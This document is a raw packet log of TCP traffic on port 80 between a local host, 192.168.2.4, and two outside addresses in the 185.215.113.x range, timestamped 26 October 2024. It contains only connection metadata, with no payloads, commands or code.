Oct 26, 2024 05:55:01.408395052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.408397913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.408457994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.455563068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.455595016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.455632925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.455658913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.455667973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.455724001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.495583057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495615959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495668888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495703936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495738983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495747089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.495747089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.495815992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495845079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.495898962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.527677059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.527708054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.527744055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.527750015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.527825117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.527829885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530428886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530483007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530505896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.530518055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530560970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.530571938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530623913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530664921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530694962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.530698061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530731916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530769110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.530901909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530936956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.530945063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.532109976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.532160997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.532202959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.532210112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.532262087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.532305002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.569564104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.569648981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.569683075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.569688082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.569766998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.617014885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.617046118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.617132902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.617211103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.617238998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.617284060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.656908035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.656990051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.657043934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.657047987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.657073975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.657123089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.657129049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.657157898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.657186031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.657213926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.689119101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.689176083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.689183950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.689207077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.689311028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.689313889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692264080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692293882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692332029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.692344904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692379951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692394018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.692415953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692450047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692460060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.692524910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692553043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692568064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.692645073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692697048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.692711115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692744970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.692787886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.692900896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.693475008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.693504095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.693519115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.693553925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.693582058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.693598032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.730988026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.731045008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.731046915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.731076956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.731110096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.731127977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.771003008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.778374910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.778456926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.778490067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.778506041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.797568083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:01.802951097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:01.817881107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.818130016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.818185091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.818263054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.818280935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.818314075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.818360090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.818366051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.818398952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.818444967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.850482941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.850557089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.850610971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.850614071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.850640059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.850682974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.853518963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853552103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853589058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853595972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.853619099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853663921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.853668928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853702068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853735924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853745937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.853857040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853884935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.853902102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.853991032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.854024887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.854034901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.854058981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.854101896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.855076075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.855127096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.855154037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.855169058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.892498016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.892553091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.892556906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.892582893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.892632008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.939723015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.939757109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.939791918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.939799070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.979512930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979573011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979584932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.979603052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979635954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979648113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.979686975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979715109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979727030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.979788065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979815960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.979832888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.011931896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.011987925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.011989117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.012017965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.012065887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.014826059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.014854908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.014900923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.014991999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015044928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015079021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015094995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.015130997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015162945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015172958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.015198946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015238047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.015367985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015419006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015450954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015461922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.015549898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015594959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.015872955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015902042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.015949965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.016060114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.016088009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.016129017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.053750992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.053857088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.053885937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.053915024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.099119902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.258028030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258089066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258110046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258171082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258187056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258208036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258228064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258249044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258259058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258292913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258301020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258328915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258332968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258363962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258368969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258405924 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258414030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258454084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258467913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258502960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258507967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258536100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258542061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258574963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258615971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.258650064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258666039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.258678913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258721113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.258728981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258760929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258796930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.258814096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258846998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258855104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.258898973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258928061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258960962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.258980989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259004116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259027004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259040117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259083986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259093046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259223938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259258986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259264946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259289026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259320021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259341002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259373903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259402990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259419918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259504080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259536028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259542942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259569883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259602070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259610891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259634972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259666920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259670973 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259701014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259735107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259741068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259768009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259800911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259807110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259835005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:02.259872913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.259951115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.259984016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.259994984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260016918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260024071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260047913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260057926 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260085106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260088921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260126114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260236979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260270119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260283947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260308027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260312080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260343075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260351896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260376930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260382891 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260413885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260416985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260451078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260452986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260484934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260494947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260519981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260524035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260549068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260560036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260584116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260588884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260617971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260622978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260653019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260658979 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260685921 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260689974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260716915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260735989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260750055 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260754108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260785103 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260797024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260818005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260840893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260855913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.260891914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.260900021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.348081112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.348109961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.348159075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.348213911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.389631987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.389667034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.389699936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.389780998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.389780998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.389780998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.389981031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390033960 CEST	80	49745	185.215.113.206	192.168.2.4
